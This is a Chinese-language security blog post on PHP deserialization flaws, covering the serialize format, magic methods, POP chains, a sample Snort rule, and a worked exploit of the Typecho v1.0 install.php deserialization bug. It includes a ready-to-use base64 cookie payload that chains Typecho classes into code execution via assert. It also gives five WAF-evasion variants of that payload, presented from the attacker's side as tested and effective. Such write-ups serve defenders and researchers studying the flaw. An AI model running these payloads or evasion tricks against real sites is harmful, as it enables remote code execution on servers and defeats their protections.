PHP反序列化漏洞成因、防御、绕过

PHP反序列化漏洞成因、防御、绕过

0x01 PHP反序列化漏洞成因

序列化与反序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 –php官方文档

serialize() :返回带有变量类型和值的字符串

unserialize() :想要将已序列化的字符串变回 PHP 的值

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class example{
public $test;
function evil(){
echo $test;
}
}
$new = new example();
$new->test="sangfor";
$ser = serialize($new);
echo $ser."\n";
print_r(unserialize($ser));
?>


output:

O:7:"example":1:{s:4:"test";s:7:"sangfor";}
example Object
(
[test] => sangfor
)

序列化字符串的格式为:

1
2
3
O:7:"example":1:{s:4:"test";s:7:"sangfor";}

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

常见的反序列化数据类型标志:

1
2
3
4
5
6
7
8
9
i - 整数
d - 浮点数
O - 对象
R - 引用
S - 字符串hex
s - 字符串
a - 数组
b - 布尔值
N - NULL

魔法函数

在php中有一些函数不需要调用就可以执行,称这种为方法为魔术方法,常见的PHP魔术函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

构造攻击链(POP与ROP)

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。比如栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

PHP反序列化漏洞Demo与漏洞利用

漏洞Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class demo{
public $name;
public $age;

function __destruct(){
$a = $this->name;
$a($this->age);
}
}

$h = new demo();
echo serialize($h);
unserialize($_GET['h']);

?>

漏洞Poc

1
2
payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

通过参数h将序列化字符串传递给Demo,demo再被反序列化之后自动调用__destruct()魔法函数导致程序运行assert(phpinfo()),这一步骤用到的__destruct()即为攻击链的一个节点,真实环境中需要利用多个节点串联为攻击链,具体实例见下文。

0x02 防御侧(snort)

规则示例(非PHP反序列化漏洞):

1
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS ( msg:"SERVER-ORACLE dbms_repcat.purge_master_log buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.purge_master_log",nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; metadata:ruleset community; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2792; rev:4; )

规则动作举例:

1
2
3
4
5
alert:使用选定的报警方法产生报警信息,并且记录数据包 
log:记录数据包
pass:忽略数据包
activate:报警,接着打开其它的dynamic规则
dynamic:保持空闲状态,直到被activete规则激活,作为一条log规则

0x03 绕过方法

漏洞环境:

本次漏洞环境采用Typecho v1.0反序列化漏洞

本漏洞的产生位置为install.php,查看文件源码有以下内容:

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

从上述代码可知两个信息:

1、GET请求的finish非空

2、__typecho_config字段中存放payload

跟进Typecho_Db类发现此类中存在一个构造函数,此构造函数中存在一个将成员与字符串进行拼接的操作,由上文中提到的魔法函数可知,此步骤可能触发__toString()魔法函数,因此从源码中寻找可用的包含__toString()的类。

Typecho_Db中的__construct()

在Typecho_Feed中找到了可用的__toString()魔法函数

__toString()

在这个魔法函数中找到了属性调用的代码,当目标类中不存在screenName属性时可以触发__get()魔法函数,下一步在源码中寻找可用的__get()魔法函数

__get()

在Typecho_Request中找到了__get()魔法函数:

__get()魔法函数

__get()魔法函数中调用_applyFilter中又可以用于命令执行的函数call_user_func()

目标函数

到这里一条完整的构造链就梳理出来了,完整payload如下:

1
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

使用上文payload可以执行phpinfo()函数,将payload进行base64解码之后可得以下内容:

1
a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}

绕过WAF的方式:

针对此漏洞,WAF的防御思路应该是根据payload进行base64解码之后的内容做静态内容匹配和正则匹配,比如规则会识别数据包中是否存在Typecho_Request、screenName等字段,但是为了提高识别的精准度和防止误报,应该会加上一些其他的payload特征来达到防御效果,因此下文从攻击者角度介绍几种绕过此类漏洞规则的方法。

  • 序列化字符串之后添加任意内容

序列化字符串之后添加任意字符串不影响序列化结果,如一下payload:

1
a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}test_sangfor
  • 在表示长度的数字前添加一个或者多个0

可以在数字前如表示字符串长度的数字之前添加多个0,不影响反序列化结果:

1
a:2:{s:0000000007:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
  • 字符串进行HEX编码

上文中提到了s标志与S的区别,即s是表示字符串ASCII字符,S表示字符串HEX编码的值,因此将s转换为hex可以达到一个比较良好的绕过效果:

1
a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";S:9:"\70\68\70\69\6e\66\6f\28\29";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
  • 使用任意字符串代替s之后的分号:

1
a:2:{s:7:"adapter"AO:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
  • 在数字之前添加一个+

1
a:2:{s:+7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
  • 使用任意字符替换O之后的:{

1
a:2:{s:7:"adapter";O:12:"Typecho_Feed":2AAs:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}

以上绕过方式经测试均为有效绕过

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×